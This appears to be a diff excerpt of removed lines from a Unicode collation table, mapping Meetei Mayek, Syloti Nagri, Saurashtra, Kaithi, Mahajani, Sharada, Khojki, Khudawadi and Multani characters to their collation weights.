-ABE5  ; [.28B8.0020.0002] # MEETEI MAYEK VOWEL SIGN ANAP
-ABE6  ; [.28B9.0020.0002] # MEETEI MAYEK VOWEL SIGN YENAP
-ABE7  ; [.28BA.0020.0002] # MEETEI MAYEK VOWEL SIGN SOUNAP
-ABE8  ; [.28BB.0020.0002] # MEETEI MAYEK VOWEL SIGN UNAP
-ABE9  ; [.28BC.0020.0002] # MEETEI MAYEK VOWEL SIGN CHEINAP
-ABEA  ; [.28BD.0020.0002] # MEETEI MAYEK VOWEL SIGN NUNG
-AAEB  ; [.28BE.0020.0002] # MEETEI MAYEK VOWEL SIGN II
-AAEC  ; [.28BF.0020.0002] # MEETEI MAYEK VOWEL SIGN UU
-AAED  ; [.28C0.0020.0002] # MEETEI MAYEK VOWEL SIGN AAI
-AAEE  ; [.28C1.0020.0002] # MEETEI MAYEK VOWEL SIGN AU
-AAEF  ; [.28C2.0020.0002] # MEETEI MAYEK VOWEL SIGN AAU
-AAF5  ; [.28C3.0020.0002] # MEETEI MAYEK VOWEL SIGN VISARGA
-ABDB  ; [.28C4.0020.0002] # MEETEI MAYEK LETTER KOK LONSUM
-ABDC  ; [.28C5.0020.0002] # MEETEI MAYEK LETTER LAI LONSUM
-ABDD  ; [.28C6.0020.0002] # MEETEI MAYEK LETTER MIT LONSUM
-ABDE  ; [.28C7.0020.0002] # MEETEI MAYEK LETTER PA LONSUM
-ABDF  ; [.28C8.0020.0002] # MEETEI MAYEK LETTER NA LONSUM
-ABE0  ; [.28C9.0020.0002] # MEETEI MAYEK LETTER TIL LONSUM
-ABE1  ; [.28CA.0020.0002] # MEETEI MAYEK LETTER NGOU LONSUM
-ABE2  ; [.28CB.0020.0002] # MEETEI MAYEK LETTER I LONSUM
-ABED  ; [.28CC.0020.0002] # MEETEI MAYEK APUN IYEK
-AAF6  ; [.28CD.0020.0002] # MEETEI MAYEK VIRAMA
-A800  ; [.28CE.0020.0002] # SYLOTI NAGRI LETTER A
-A801  ; [.28CF.0020.0002] # SYLOTI NAGRI LETTER I
-A802  ; [.28D0.0020.0002] # SYLOTI NAGRI SIGN DVISVARA
-A803  ; [.28D1.0020.0002] # SYLOTI NAGRI LETTER U
-A804  ; [.28D2.0020.0002] # SYLOTI NAGRI LETTER E
-A805  ; [.28D3.0020.0002] # SYLOTI NAGRI LETTER O
-A806  ; [.28D4.0020.0002] # SYLOTI NAGRI SIGN HASANTA
-A807  ; [.28D5.0020.0002] # SYLOTI NAGRI LETTER KO
-A808  ; [.28D6.0020.0002] # SYLOTI NAGRI LETTER KHO
-A809  ; [.28D7.0020.0002] # SYLOTI NAGRI LETTER GO
-A80A  ; [.28D8.0020.0002] # SYLOTI NAGRI LETTER GHO
-A80C  ; [.28D9.0020.0002] # SYLOTI NAGRI LETTER CO
-A80D  ; [.28DA.0020.0002] # SYLOTI NAGRI LETTER CHO
-A80E  ; [.28DB.0020.0002] # SYLOTI NAGRI LETTER JO
-A80F  ; [.28DC.0020.0002] # SYLOTI NAGRI LETTER JHO
-A810  ; [.28DD.0020.0002] # SYLOTI NAGRI LETTER TTO
-A811  ; [.28DE.0020.0002] # SYLOTI NAGRI LETTER TTHO
-A812  ; [.28DF.0020.0002] # SYLOTI NAGRI LETTER DDO
-A813  ; [.28E0.0020.0002] # SYLOTI NAGRI LETTER DDHO
-A814  ; [.28E1.0020.0002] # SYLOTI NAGRI LETTER TO
-A815  ; [.28E2.0020.0002] # SYLOTI NAGRI LETTER THO
-A816  ; [.28E3.0020.0002] # SYLOTI NAGRI LETTER DO
-A817  ; [.28E4.0020.0002] # SYLOTI NAGRI LETTER DHO
-A818  ; [.28E5.0020.0002] # SYLOTI NAGRI LETTER NO
-A819  ; [.28E6.0020.0002] # SYLOTI NAGRI LETTER PO
-A81A  ; [.28E7.0020.0002] # SYLOTI NAGRI LETTER PHO
-A81B  ; [.28E8.0020.0002] # SYLOTI NAGRI LETTER BO
-A81C  ; [.28E9.0020.0002] # SYLOTI NAGRI LETTER BHO
-A81D  ; [.28EA.0020.0002] # SYLOTI NAGRI LETTER MO
-A81E  ; [.28EB.0020.0002] # SYLOTI NAGRI LETTER RO
-A81F  ; [.28EC.0020.0002] # SYLOTI NAGRI LETTER LO
-A820  ; [.28ED.0020.0002] # SYLOTI NAGRI LETTER RRO
-A821  ; [.28EE.0020.0002] # SYLOTI NAGRI LETTER SO
-A822  ; [.28EF.0020.0002] # SYLOTI NAGRI LETTER HO
-A823  ; [.28F0.0020.0002] # SYLOTI NAGRI VOWEL SIGN A
-A824  ; [.28F1.0020.0002] # SYLOTI NAGRI VOWEL SIGN I
-A825  ; [.28F2.0020.0002] # SYLOTI NAGRI VOWEL SIGN U
-A826  ; [.28F3.0020.0002] # SYLOTI NAGRI VOWEL SIGN E
-A827  ; [.28F4.0020.0002] # SYLOTI NAGRI VOWEL SIGN OO
-A882  ; [.28F5.0020.0002] # SAURASHTRA LETTER A
-A883  ; [.28F6.0020.0002] # SAURASHTRA LETTER AA
-A884  ; [.28F7.0020.0002] # SAURASHTRA LETTER I
-A885  ; [.28F8.0020.0002] # SAURASHTRA LETTER II
-A886  ; [.28F9.0020.0002] # SAURASHTRA LETTER U
-A887  ; [.28FA.0020.0002] # SAURASHTRA LETTER UU
-A888  ; [.28FB.0020.0002] # SAURASHTRA LETTER VOCALIC R
-A889  ; [.28FC.0020.0002] # SAURASHTRA LETTER VOCALIC RR
-A88A  ; [.28FD.0020.0002] # SAURASHTRA LETTER VOCALIC L
-A88B  ; [.28FE.0020.0002] # SAURASHTRA LETTER VOCALIC LL
-A88C  ; [.28FF.0020.0002] # SAURASHTRA LETTER E
-A88D  ; [.2900.0020.0002] # SAURASHTRA LETTER EE
-A88E  ; [.2901.0020.0002] # SAURASHTRA LETTER AI
-A88F  ; [.2902.0020.0002] # SAURASHTRA LETTER O
-A890  ; [.2903.0020.0002] # SAURASHTRA LETTER OO
-A891  ; [.2904.0020.0002] # SAURASHTRA LETTER AU
-A892  ; [.2905.0020.0002] # SAURASHTRA LETTER KA
-A893  ; [.2906.0020.0002] # SAURASHTRA LETTER KHA
-A894  ; [.2907.0020.0002] # SAURASHTRA LETTER GA
-A895  ; [.2908.0020.0002] # SAURASHTRA LETTER GHA
-A896  ; [.2909.0020.0002] # SAURASHTRA LETTER NGA
-A897  ; [.290A.0020.0002] # SAURASHTRA LETTER CA
-A898  ; [.290B.0020.0002] # SAURASHTRA LETTER CHA
-A899  ; [.290C.0020.0002] # SAURASHTRA LETTER JA
-A89A  ; [.290D.0020.0002] # SAURASHTRA LETTER JHA
-A89B  ; [.290E.0020.0002] # SAURASHTRA LETTER NYA
-A89C  ; [.290F.0020.0002] # SAURASHTRA LETTER TTA
-A89D  ; [.2910.0020.0002] # SAURASHTRA LETTER TTHA
-A89E  ; [.2911.0020.0002] # SAURASHTRA LETTER DDA
-A89F  ; [.2912.0020.0002] # SAURASHTRA LETTER DDHA
-A8A0  ; [.2913.0020.0002] # SAURASHTRA LETTER NNA
-A8A1  ; [.2914.0020.0002] # SAURASHTRA LETTER TA
-A8A2  ; [.2915.0020.0002] # SAURASHTRA LETTER THA
-A8A3  ; [.2916.0020.0002] # SAURASHTRA LETTER DA
-A8A4  ; [.2917.0020.0002] # SAURASHTRA LETTER DHA
-A8A5  ; [.2918.0020.0002] # SAURASHTRA LETTER NA
-A8A6  ; [.2919.0020.0002] # SAURASHTRA LETTER PA
-A8A7  ; [.291A.0020.0002] # SAURASHTRA LETTER PHA
-A8A8  ; [.291B.0020.0002] # SAURASHTRA LETTER BA
-A8A9  ; [.291C.0020.0002] # SAURASHTRA LETTER BHA
-A8AA  ; [.291D.0020.0002] # SAURASHTRA LETTER MA
-A8AB  ; [.291E.0020.0002] # SAURASHTRA LETTER YA
-A8AC  ; [.291F.0020.0002] # SAURASHTRA LETTER RA
-A8AD  ; [.2920.0020.0002] # SAURASHTRA LETTER LA
-A8AE  ; [.2921.0020.0002] # SAURASHTRA LETTER VA
-A8AF  ; [.2922.0020.0002] # SAURASHTRA LETTER SHA
-A8B0  ; [.2923.0020.0002] # SAURASHTRA LETTER SSA
-A8B1  ; [.2924.0020.0002] # SAURASHTRA LETTER SA
-A8B2  ; [.2925.0020.0002] # SAURASHTRA LETTER HA
-A8B3  ; [.2926.0020.0002] # SAURASHTRA LETTER LLA
-A8B4  ; [.2927.0020.0002] # SAURASHTRA CONSONANT SIGN HAARU
-A8B5  ; [.2928.0020.0002] # SAURASHTRA VOWEL SIGN AA
-A8B6  ; [.2929.0020.0002] # SAURASHTRA VOWEL SIGN I
-A8B7  ; [.292A.0020.0002] # SAURASHTRA VOWEL SIGN II
-A8B8  ; [.292B.0020.0002] # SAURASHTRA VOWEL SIGN U
-A8B9  ; [.292C.0020.0002] # SAURASHTRA VOWEL SIGN UU
-A8BA  ; [.292D.0020.0002] # SAURASHTRA VOWEL SIGN VOCALIC R
-A8BB  ; [.292E.0020.0002] # SAURASHTRA VOWEL SIGN VOCALIC RR
-A8BC  ; [.292F.0020.0002] # SAURASHTRA VOWEL SIGN VOCALIC L
-A8BD  ; [.2930.0020.0002] # SAURASHTRA VOWEL SIGN VOCALIC LL
-A8BE  ; [.2931.0020.0002] # SAURASHTRA VOWEL SIGN E
-A8BF  ; [.2932.0020.0002] # SAURASHTRA VOWEL SIGN EE
-A8C0  ; [.2933.0020.0002] # SAURASHTRA VOWEL SIGN AI
-A8C1  ; [.2934.0020.0002] # SAURASHTRA VOWEL SIGN O
-A8C2  ; [.2935.0020.0002] # SAURASHTRA VOWEL SIGN OO
-A8C3  ; [.2936.0020.0002] # SAURASHTRA VOWEL SIGN AU
-A8C4  ; [.2937.0020.0002] # SAURASHTRA SIGN VIRAMA
-11083 ; [.2938.0020.0002] # KAITHI LETTER A
-11084 ; [.2939.0020.0002] # KAITHI LETTER AA
-11085 ; [.293A.0020.0002] # KAITHI LETTER I
-11086 ; [.293B.0020.0002] # KAITHI LETTER II
-11087 ; [.293C.0020.0002] # KAITHI LETTER U
-11088 ; [.293D.0020.0002] # KAITHI LETTER UU
-11089 ; [.293E.0020.0002] # KAITHI LETTER E
-1108A ; [.293F.0020.0002] # KAITHI LETTER AI
-1108B ; [.2940.0020.0002] # KAITHI LETTER O
-1108C ; [.2941.0020.0002] # KAITHI LETTER AU
-1108D ; [.2942.0020.0002] # KAITHI LETTER KA
-1108E ; [.2943.0020.0002] # KAITHI LETTER KHA
-1108F ; [.2944.0020.0002] # KAITHI LETTER GA
-11090 ; [.2945.0020.0002] # KAITHI LETTER GHA
-11091 ; [.2946.0020.0002] # KAITHI LETTER NGA
-11092 ; [.2947.0020.0002] # KAITHI LETTER CA
-11093 ; [.2948.0020.0002] # KAITHI LETTER CHA
-11094 ; [.2949.0020.0002] # KAITHI LETTER JA
-11095 ; [.294A.0020.0002] # KAITHI LETTER JHA
-11096 ; [.294B.0020.0002] # KAITHI LETTER NYA
-11097 ; [.294C.0020.0002] # KAITHI LETTER TTA
-11098 ; [.294D.0020.0002] # KAITHI LETTER TTHA
-11099 ; [.294E.0020.0002] # KAITHI LETTER DDA
-1109A ; [.294E.0020.0002][.0000.00BD.0002] # KAITHI LETTER DDDHA
-1109B ; [.294F.0020.0002] # KAITHI LETTER DDHA
-1109C ; [.294F.0020.0002][.0000.00BD.0002] # KAITHI LETTER RHA
-1109D ; [.2950.0020.0002] # KAITHI LETTER NNA
-1109E ; [.2951.0020.0002] # KAITHI LETTER TA
-1109F ; [.2952.0020.0002] # KAITHI LETTER THA
-110A0 ; [.2953.0020.0002] # KAITHI LETTER DA
-110A1 ; [.2954.0020.0002] # KAITHI LETTER DHA
-110A2 ; [.2955.0020.0002] # KAITHI LETTER NA
-110A3 ; [.2956.0020.0002] # KAITHI LETTER PA
-110A4 ; [.2957.0020.0002] # KAITHI LETTER PHA
-110A5 ; [.2958.0020.0002] # KAITHI LETTER BA
-110AB ; [.2958.0020.0002][.0000.00BD.0002] # KAITHI LETTER VA
-110A6 ; [.2959.0020.0002] # KAITHI LETTER BHA
-110A7 ; [.295A.0020.0002] # KAITHI LETTER MA
-110A8 ; [.295B.0020.0002] # KAITHI LETTER YA
-110A9 ; [.295C.0020.0002] # KAITHI LETTER RA
-110AA ; [.295D.0020.0002] # KAITHI LETTER LA
-110AC ; [.295E.0020.0002] # KAITHI LETTER SHA
-110AD ; [.295F.0020.0002] # KAITHI LETTER SSA
-110AE ; [.2960.0020.0002] # KAITHI LETTER SA
-110AF ; [.2961.0020.0002] # KAITHI LETTER HA
-110B0 ; [.2962.0020.0002] # KAITHI VOWEL SIGN AA
-110B1 ; [.2963.0020.0002] # KAITHI VOWEL SIGN I
-110B2 ; [.2964.0020.0002] # KAITHI VOWEL SIGN II
-110B3 ; [.2965.0020.0002] # KAITHI VOWEL SIGN U
-110B4 ; [.2966.0020.0002] # KAITHI VOWEL SIGN UU
-110B5 ; [.2967.0020.0002] # KAITHI VOWEL SIGN E
-110B6 ; [.2968.0020.0002] # KAITHI VOWEL SIGN AI
-110B7 ; [.2969.0020.0002] # KAITHI VOWEL SIGN O
-110B8 ; [.296A.0020.0002] # KAITHI VOWEL SIGN AU
-110B9 ; [.296B.0020.0002] # KAITHI SIGN VIRAMA
-11150 ; [.296C.0020.0002] # MAHAJANI LETTER A
-11151 ; [.296D.0020.0002] # MAHAJANI LETTER I
-11152 ; [.296E.0020.0002] # MAHAJANI LETTER U
-11153 ; [.296F.0020.0002] # MAHAJANI LETTER E
-11154 ; [.2970.0020.0002] # MAHAJANI LETTER O
-11155 ; [.2971.0020.0002] # MAHAJANI LETTER KA
-11156 ; [.2972.0020.0002] # MAHAJANI LETTER KHA
-11157 ; [.2973.0020.0002] # MAHAJANI LETTER GA
-11158 ; [.2974.0020.0002] # MAHAJANI LETTER GHA
-11159 ; [.2975.0020.0002] # MAHAJANI LETTER CA
-1115A ; [.2976.0020.0002] # MAHAJANI LETTER CHA
-1115B ; [.2977.0020.0002] # MAHAJANI LETTER JA
-1115C ; [.2978.0020.0002] # MAHAJANI LETTER JHA
-1115D ; [.2979.0020.0002] # MAHAJANI LETTER NYA
-1115E ; [.297A.0020.0002] # MAHAJANI LETTER TTA
-1115F ; [.297B.0020.0002] # MAHAJANI LETTER TTHA
-11160 ; [.297C.0020.0002] # MAHAJANI LETTER DDA
-11161 ; [.297D.0020.0002] # MAHAJANI LETTER DDHA
-11162 ; [.297E.0020.0002] # MAHAJANI LETTER NNA
-11163 ; [.297F.0020.0002] # MAHAJANI LETTER TA
-11164 ; [.2980.0020.0002] # MAHAJANI LETTER THA
-11165 ; [.2981.0020.0002] # MAHAJANI LETTER DA
-11166 ; [.2982.0020.0002] # MAHAJANI LETTER DHA
-11167 ; [.2983.0020.0002] # MAHAJANI LETTER NA
-11168 ; [.2984.0020.0002] # MAHAJANI LETTER PA
-11169 ; [.2985.0020.0002] # MAHAJANI LETTER PHA
-1116A ; [.2986.0020.0002] # MAHAJANI LETTER BA
-1116B ; [.2987.0020.0002] # MAHAJANI LETTER BHA
-1116C ; [.2988.0020.0002] # MAHAJANI LETTER MA
-1116D ; [.2989.0020.0002] # MAHAJANI LETTER RA
-1116E ; [.298A.0020.0002] # MAHAJANI LETTER LA
-1116F ; [.298B.0020.0002] # MAHAJANI LETTER VA
-11176 ; [.298C.0020.0002] # MAHAJANI LIGATURE SHRI
-11170 ; [.298D.0020.0002] # MAHAJANI LETTER SA
-11171 ; [.298E.0020.0002] # MAHAJANI LETTER HA
-11172 ; [.298F.0020.0002] # MAHAJANI LETTER RRA
-111C4 ; [.2990.0020.0002] # SHARADA OM
-111DA ; [.2991.0020.0002] # SHARADA EKAM
-11183 ; [.2992.0020.0002] # SHARADA LETTER A
-11184 ; [.2993.0020.0002] # SHARADA LETTER AA
-11185 ; [.2994.0020.0002] # SHARADA LETTER I
-11186 ; [.2995.0020.0002] # SHARADA LETTER II
-11187 ; [.2996.0020.0002] # SHARADA LETTER U
-11188 ; [.2997.0020.0002] # SHARADA LETTER UU
-11189 ; [.2998.0020.0002] # SHARADA LETTER VOCALIC R
-1118A ; [.2999.0020.0002] # SHARADA LETTER VOCALIC RR
-1118B ; [.299A.0020.0002] # SHARADA LETTER VOCALIC L
-1118C ; [.299B.0020.0002] # SHARADA LETTER VOCALIC LL
-1118D ; [.299C.0020.0002] # SHARADA LETTER E
-1118E ; [.299D.0020.0002] # SHARADA LETTER AI
-1118F ; [.299E.0020.0002] # SHARADA LETTER O
-11190 ; [.299F.0020.0002] # SHARADA LETTER AU
-11191 ; [.29A0.0020.0002] # SHARADA LETTER KA
-11192 ; [.29A1.0020.0002] # SHARADA LETTER KHA
-11193 ; [.29A2.0020.0002] # SHARADA LETTER GA
-11194 ; [.29A3.0020.0002] # SHARADA LETTER GHA
-11195 ; [.29A4.0020.0002] # SHARADA LETTER NGA
-11196 ; [.29A5.0020.0002] # SHARADA LETTER CA
-11197 ; [.29A6.0020.0002] # SHARADA LETTER CHA
-11198 ; [.29A7.0020.0002] # SHARADA LETTER JA
-11199 ; [.29A8.0020.0002] # SHARADA LETTER JHA
-1119A ; [.29A9.0020.0002] # SHARADA LETTER NYA
-1119B ; [.29AA.0020.0002] # SHARADA LETTER TTA
-1119C ; [.29AB.0020.0002] # SHARADA LETTER TTHA
-1119D ; [.29AC.0020.0002] # SHARADA LETTER DDA
-1119E ; [.29AD.0020.0002] # SHARADA LETTER DDHA
-1119F ; [.29AE.0020.0002] # SHARADA LETTER NNA
-111A0 ; [.29AF.0020.0002] # SHARADA LETTER TA
-111A1 ; [.29B0.0020.0002] # SHARADA LETTER THA
-111A2 ; [.29B1.0020.0002] # SHARADA LETTER DA
-111A3 ; [.29B2.0020.0002] # SHARADA LETTER DHA
-111A4 ; [.29B3.0020.0002] # SHARADA LETTER NA
-111A5 ; [.29B4.0020.0002] # SHARADA LETTER PA
-111A6 ; [.29B5.0020.0002] # SHARADA LETTER PHA
-111A7 ; [.29B6.0020.0002] # SHARADA LETTER BA
-111A8 ; [.29B7.0020.0002] # SHARADA LETTER BHA
-111A9 ; [.29B8.0020.0002] # SHARADA LETTER MA
-111AA ; [.29B9.0020.0002] # SHARADA LETTER YA
-111AB ; [.29BA.0020.0002] # SHARADA LETTER RA
-111AC ; [.29BB.0020.0002] # SHARADA LETTER LA
-111AD ; [.29BC.0020.0002] # SHARADA LETTER LLA
-111AE ; [.29BD.0020.0002] # SHARADA LETTER VA
-111AF ; [.29BE.0020.0002] # SHARADA LETTER SHA
-111B0 ; [.29BF.0020.0002] # SHARADA LETTER SSA
-111B1 ; [.29C0.0020.0002] # SHARADA LETTER SA
-111B2 ; [.29C1.0020.0002] # SHARADA LETTER HA
-111C1 ; [.29C2.0020.0002] # SHARADA SIGN AVAGRAHA
-111C2 ; [.29C3.0020.0002] # SHARADA SIGN JIHVAMULIYA
-111C3 ; [.29C4.0020.0002] # SHARADA SIGN UPADHMANIYA
-111DC ; [.29C5.0020.0002] # SHARADA HEADSTROKE
-111B3 ; [.29C6.0020.0002] # SHARADA VOWEL SIGN AA
-111B4 ; [.29C7.0020.0002] # SHARADA VOWEL SIGN I
-111B5 ; [.29C8.0020.0002] # SHARADA VOWEL SIGN II
-111B6 ; [.29C9.0020.0002] # SHARADA VOWEL SIGN U
-111B7 ; [.29CA.0020.0002] # SHARADA VOWEL SIGN UU
-111B8 ; [.29CB.0020.0002] # SHARADA VOWEL SIGN VOCALIC R
-111B9 ; [.29CC.0020.0002] # SHARADA VOWEL SIGN VOCALIC RR
-111BA ; [.29CD.0020.0002] # SHARADA VOWEL SIGN VOCALIC L
-111BB ; [.29CE.0020.0002] # SHARADA VOWEL SIGN VOCALIC LL
-111BC ; [.29CF.0020.0002] # SHARADA VOWEL SIGN E
-111BD ; [.29D0.0020.0002] # SHARADA VOWEL SIGN AI
-111BE ; [.29D1.0020.0002] # SHARADA VOWEL SIGN O
-111BF ; [.29D2.0020.0002] # SHARADA VOWEL SIGN AU
-111C0 ; [.29D3.0020.0002] # SHARADA SIGN VIRAMA
-11200 ; [.29D4.0020.0002] # KHOJKI LETTER A
-11201 ; [.29D5.0020.0002] # KHOJKI LETTER AA
-11202 ; [.29D6.0020.0002] # KHOJKI LETTER I
-11203 ; [.29D7.0020.0002] # KHOJKI LETTER U
-11204 ; [.29D8.0020.0002] # KHOJKI LETTER E
-11205 ; [.29D9.0020.0002] # KHOJKI LETTER AI
-11206 ; [.29DA.0020.0002] # KHOJKI LETTER O
-11207 ; [.29DB.0020.0002] # KHOJKI LETTER AU
-11208 ; [.29DC.0020.0002] # KHOJKI LETTER KA
-11209 ; [.29DD.0020.0002] # KHOJKI LETTER KHA
-1120A ; [.29DE.0020.0002] # KHOJKI LETTER GA
-1120B ; [.29DF.0020.0002] # KHOJKI LETTER GGA
-1120C ; [.29E0.0020.0002] # KHOJKI LETTER GHA
-1120D ; [.29E1.0020.0002] # KHOJKI LETTER NGA
-1120E ; [.29E2.0020.0002] # KHOJKI LETTER CA
-1120F ; [.29E3.0020.0002] # KHOJKI LETTER CHA
-11210 ; [.29E4.0020.0002] # KHOJKI LETTER JA
-11211 ; [.29E5.0020.0002] # KHOJKI LETTER JJA
-11213 ; [.29E6.0020.0002] # KHOJKI LETTER NYA
-11214 ; [.29E7.0020.0002] # KHOJKI LETTER TTA
-11215 ; [.29E8.0020.0002] # KHOJKI LETTER TTHA
-11216 ; [.29E9.0020.0002] # KHOJKI LETTER DDA
-11217 ; [.29EA.0020.0002] # KHOJKI LETTER DDHA
-11218 ; [.29EB.0020.0002] # KHOJKI LETTER NNA
-11219 ; [.29EC.0020.0002] # KHOJKI LETTER TA
-1121A ; [.29ED.0020.0002] # KHOJKI LETTER THA
-1121B ; [.29EE.0020.0002] # KHOJKI LETTER DA
-1121C ; [.29EF.0020.0002] # KHOJKI LETTER DDDA
-1121D ; [.29F0.0020.0002] # KHOJKI LETTER DHA
-1121E ; [.29F1.0020.0002] # KHOJKI LETTER NA
-1121F ; [.29F2.0020.0002] # KHOJKI LETTER PA
-11220 ; [.29F3.0020.0002] # KHOJKI LETTER PHA
-11221 ; [.29F4.0020.0002] # KHOJKI LETTER BA
-11222 ; [.29F5.0020.0002] # KHOJKI LETTER BBA
-11223 ; [.29F6.0020.0002] # KHOJKI LETTER BHA
-11224 ; [.29F7.0020.0002] # KHOJKI LETTER MA
-11225 ; [.29F8.0020.0002] # KHOJKI LETTER YA
-11226 ; [.29F9.0020.0002] # KHOJKI LETTER RA
-11227 ; [.29FA.0020.0002] # KHOJKI LETTER LA
-11228 ; [.29FB.0020.0002] # KHOJKI LETTER VA
-11229 ; [.29FC.0020.0002] # KHOJKI LETTER SA
-1122A ; [.29FD.0020.0002] # KHOJKI LETTER HA
-1122B ; [.29FE.0020.0002] # KHOJKI LETTER LLA
-1122C ; [.29FF.0020.0002] # KHOJKI VOWEL SIGN AA
-1122D ; [.2A00.0020.0002] # KHOJKI VOWEL SIGN I
-1122E ; [.2A01.0020.0002] # KHOJKI VOWEL SIGN II
-1122F ; [.2A02.0020.0002] # KHOJKI VOWEL SIGN U
-11230 ; [.2A03.0020.0002] # KHOJKI VOWEL SIGN E
-11231 ; [.2A04.0020.0002] # KHOJKI VOWEL SIGN AI
-11232 ; [.2A05.0020.0002] # KHOJKI VOWEL SIGN O
-11233 ; [.2A06.0020.0002] # KHOJKI VOWEL SIGN AU
-11235 ; [.2A07.0020.0002] # KHOJKI SIGN VIRAMA
-112B0 ; [.2A08.0020.0002] # KHUDAWADI LETTER A
-112B1 ; [.2A09.0020.0002] # KHUDAWADI LETTER AA
-112B2 ; [.2A0A.0020.0002] # KHUDAWADI LETTER I
-112B3 ; [.2A0B.0020.0002] # KHUDAWADI LETTER II
-112B4 ; [.2A0C.0020.0002] # KHUDAWADI LETTER U
-112B5 ; [.2A0D.0020.0002] # KHUDAWADI LETTER UU
-112B6 ; [.2A0E.0020.0002] # KHUDAWADI LETTER E
-112B7 ; [.2A0F.0020.0002] # KHUDAWADI LETTER AI
-112B8 ; [.2A10.0020.0002] # KHUDAWADI LETTER O
-112B9 ; [.2A11.0020.0002] # KHUDAWADI LETTER AU
-112BA ; [.2A12.0020.0002] # KHUDAWADI LETTER KA
-112BB ; [.2A13.0020.0002] # KHUDAWADI LETTER KHA
-112BC ; [.2A14.0020.0002] # KHUDAWADI LETTER GA
-112BD ; [.2A15.0020.0002] # KHUDAWADI LETTER GGA
-112BE ; [.2A16.0020.0002] # KHUDAWADI LETTER GHA
-112BF ; [.2A17.0020.0002] # KHUDAWADI LETTER NGA
-112C0 ; [.2A18.0020.0002] # KHUDAWADI LETTER CA
-112C1 ; [.2A19.0020.0002] # KHUDAWADI LETTER CHA
-112C2 ; [.2A1A.0020.0002] # KHUDAWADI LETTER JA
-112C3 ; [.2A1B.0020.0002] # KHUDAWADI LETTER JJA
-112C4 ; [.2A1C.0020.0002] # KHUDAWADI LETTER JHA
-112C5 ; [.2A1D.0020.0002] # KHUDAWADI LETTER NYA
-112C6 ; [.2A1E.0020.0002] # KHUDAWADI LETTER TTA
-112C7 ; [.2A1F.0020.0002] # KHUDAWADI LETTER TTHA
-112C8 ; [.2A20.0020.0002] # KHUDAWADI LETTER DDA
-112C9 ; [.2A21.0020.0002] # KHUDAWADI LETTER DDDA
-112CA ; [.2A22.0020.0002] # KHUDAWADI LETTER RRA
-112CB ; [.2A23.0020.0002] # KHUDAWADI LETTER DDHA
-112CC ; [.2A24.0020.0002] # KHUDAWADI LETTER NNA
-112CD ; [.2A25.0020.0002] # KHUDAWADI LETTER TA
-112CE ; [.2A26.0020.0002] # KHUDAWADI LETTER THA
-112CF ; [.2A27.0020.0002] # KHUDAWADI LETTER DA
-112D0 ; [.2A28.0020.0002] # KHUDAWADI LETTER DHA
-112D1 ; [.2A29.0020.0002] # KHUDAWADI LETTER NA
-112D2 ; [.2A2A.0020.0002] # KHUDAWADI LETTER PA
-112D3 ; [.2A2B.0020.0002] # KHUDAWADI LETTER PHA
-112D4 ; [.2A2C.0020.0002] # KHUDAWADI LETTER BA
-112D5 ; [.2A2D.0020.0002] # KHUDAWADI LETTER BBA
-112D6 ; [.2A2E.0020.0002] # KHUDAWADI LETTER BHA
-112D7 ; [.2A2F.0020.0002] # KHUDAWADI LETTER MA
-112D8 ; [.2A30.0020.0002] # KHUDAWADI LETTER YA
-112D9 ; [.2A31.0020.0002] # KHUDAWADI LETTER RA
-112DA ; [.2A32.0020.0002] # KHUDAWADI LETTER LA
-112DB ; [.2A33.0020.0002] # KHUDAWADI LETTER VA
-112DC ; [.2A34.0020.0002] # KHUDAWADI LETTER SHA
-112DD ; [.2A35.0020.0002] # KHUDAWADI LETTER SA
-112DE ; [.2A36.0020.0002] # KHUDAWADI LETTER HA
-112E0 ; [.2A37.0020.0002] # KHUDAWADI VOWEL SIGN AA
-112E1 ; [.2A38.0020.0002] # KHUDAWADI VOWEL SIGN I
-112E2 ; [.2A39.0020.0002] # KHUDAWADI VOWEL SIGN II
-112E3 ; [.2A3A.0020.0002] # KHUDAWADI VOWEL SIGN U
-112E4 ; [.2A3B.0020.0002] # KHUDAWADI VOWEL SIGN UU
-112E5 ; [.2A3C.0020.0002] # KHUDAWADI VOWEL SIGN E
-112E6 ; [.2A3D.0020.0002] # KHUDAWADI VOWEL SIGN AI
-112E7 ; [.2A3E.0020.0002] # KHUDAWADI VOWEL SIGN O
-112E8 ; [.2A3F.0020.0002] # KHUDAWADI VOWEL SIGN AU
-112EA ; [.2A40.0020.0002] # KHUDAWADI SIGN VIRAMA
-11280 ; [.2A41.0020.0002] # MULTANI LETTER A
-11281 ; [.2A42.0020.0002] # MULTANI LETTER I
-11282 ; [.2A43.0020.0002] # MULTANI LETTER U
-11283 ; [.2A44.0020.0002] # MULTANI LETTER E
-112A5 ; [.2A45.0020.0002] # MULTANI LETTER SA
-112A6 ; [.2A46.0020.0002] # MULTANI LETTER HA
-11284 ; [.2A47.0020.0002] # MULTANI LETTER KA
-11285 ; [.2A48.0020.0002] # MULTANI LETTER KHA
-11286 ; [.2A49.0020.0002] # MULTANI LETTER GA
-11288 ; [.2A4A.0020.0002] # MULTANI LETTER GHA
-1128A ; [.2A4B.0020.0002] # MULTANI LETTER CA
-1128B ; [.2A4C.0020.0002] # MULTANI LETTER CHA
-1128C ; [.2A4D.0020.0002] # MULTANI LETTER JA
-1128D ; [.2A4E.0020.0002] # MULTANI LETTER JJA
-1128F ; [.2A4F.0020.0002] # MULTANI LETTER NYA
-11290 ; [.2A50.0020.0002] # MULTANI LETTER TTA
-11291 ; [.2A51.0020.0002] # MULTANI LETTER TTHA
-11292 ; [.2A52.0020.0002] # MULTANI LETTER DDA
-11293 ; [.2A53.0020.0002] # MULTANI LETTER DDDA
-11294 ; [.2A54.0020.0002] # MULTANI LETTER DDHA
-11295 ; [.2A55.0020.0002] # MULTANI LETTER NNA
-11296 ; [.2A56.0020.0002] # MULTANI LETTER TA
-11297 ; [.2A57.0020.0002] # MULTANI LETTER THA
-11298 ; [.2A58.0020.0002] # MULTANI LETTER DA
-11299 ; [.2A59.0020.0002] # MULTANI LETTER DHA
-1129A ; [.2A5A.0020.0002] # MULTANI LETTER NA
-1129B ; [.2A5B.0020.0002] # MULTANI LETTER PA
-1129C ; [.2A5C.0020.0002] # MULTANI LETTER PHA
-1129D ; [.2A5D.0020.0002] # MULTANI LETTER BA
-1129F ; [.2A5E.0020.0002] # MULTANI LETTER BHA
-112A0 ; [.2A5F.0020.0002] # MULTANI LETTER MA
-112A1 ; [.2A60.0020.0002] # MULTANI LETTER YA
-112A2 ; [.2A61.0020.0002] # MULTANI LETTER RA
-112A3 ; [.2A62.0020.0002] # MULTANI LETTER LA
-112A4 ; [.2A63.0020.0002] # MULTANI LETTER VA
